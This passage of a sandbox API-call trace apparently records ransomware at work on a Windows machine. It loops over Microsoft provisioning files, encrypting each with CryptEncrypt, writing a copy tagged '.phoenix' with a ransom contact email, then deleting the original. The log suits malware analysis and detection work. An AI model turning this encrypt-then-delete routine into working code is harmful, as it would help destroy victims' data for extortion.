	[0236.316] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0236.316] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.316] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0236.316] CryptDestroyKey (hKey=0x151180) returned 1
	[0236.316] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0236.316] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0236.316] CloseHandle (hObject=0x2c0) returned 1
	[0236.316] CloseHandle (hObject=0x2f0) returned 1
	[0236.317] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\144__connections_cellular_orange (france)_i5$(__mvid)@wap.provxml")) returned 1
	[0236.318] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0236.318] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\145__connections_cellular_orange (france)_i6$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.318] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=842) returned 1
	[0236.318] CloseHandle (hObject=0x2f0) returned 1
	[0236.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\145__connections_cellular_orange (france)_i6$(__mvid)@wap.provxml")) returned 0x20
	[0236.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\145__connections_cellular_orange (france)_i6$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.319] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\145__connections_cellular_orange (france)_i6$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.319] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.319] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.319] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\145__connections_cellular_orange (france)_i6$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.319] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151680) returned 1
	[0236.319] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.319] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x34a, lpOverlapped=0x0) returned 1
	[0236.321] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0236.321] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0236.322] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1516c0) returned 1
	[0236.322] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.322] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0236.322] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0236.322] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0236.322] CryptDestroyKey (hKey=0x151680) returned 1
	[0236.322] CloseHandle (hObject=0x2f0) returned 1
	[0236.322] CloseHandle (hObject=0x2c0) returned 1
	[0236.322] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\145__connections_cellular_orange (france)_i6$(__mvid)@wap.provxml")) returned 1
	[0236.323] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0236.323] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\146__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.324] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=706) returned 1
	[0236.324] CloseHandle (hObject=0x2c0) returned 1
	[0236.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\146__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0236.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\146__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.324] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\146__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.324] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.324] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.324] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\146__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.325] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0236.325] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.325] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c2, lpOverlapped=0x0) returned 1
	[0236.332] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0236.333] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0236.334] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0236.334] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.334] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0236.334] CryptDestroyKey (hKey=0x151380) returned 1
	[0236.334] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0236.334] CryptDestroyKey (hKey=0x151740) returned 1
	[0236.334] CloseHandle (hObject=0x2c0) returned 1
	[0236.334] CloseHandle (hObject=0x2f0) returned 1
	[0236.334] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\146__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml")) returned 1
	[0236.336] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0236.336] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\147__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.336] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=704) returned 1
	[0236.336] CloseHandle (hObject=0x2f0) returned 1
	[0236.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\147__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0236.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\147__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.337] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\147__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.337] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.337] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.337] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\147__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.338] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151500) returned 1
	[0236.338] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.338] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c0, lpOverlapped=0x0) returned 1
	[0236.339] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0236.339] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0236.340] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1517c0) returned 1
	[0236.340] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.340] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0236.340] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0236.341] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0236.341] CryptDestroyKey (hKey=0x151500) returned 1
	[0236.341] CloseHandle (hObject=0x2f0) returned 1
	[0236.341] CloseHandle (hObject=0x2c0) returned 1
	[0236.341] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\147__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml")) returned 1
	[0236.342] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0236.342] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\148__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.349] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=707) returned 1
	[0236.350] CloseHandle (hObject=0x2c0) returned 1
	[0236.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\148__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0236.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\148__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.350] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\148__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.350] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.350] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0236.350] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\148__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.351] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0236.351] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.351] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c3, lpOverlapped=0x0) returned 1
	[0236.352] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0236.352] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0236.359] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0236.359] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.359] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0236.359] CryptDestroyKey (hKey=0x151380) returned 1
	[0236.359] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0236.359] CryptDestroyKey (hKey=0x151280) returned 1
	[0236.359] CloseHandle (hObject=0x2c0) returned 1
	[0236.359] CloseHandle (hObject=0x2f0) returned 1
	[0236.360] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\148__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml")) returned 1
	[0236.361] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0236.361] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\149__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0236.361] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=719) returned 1
	[0236.361] CloseHandle (hObject=0x2f0) returned 1
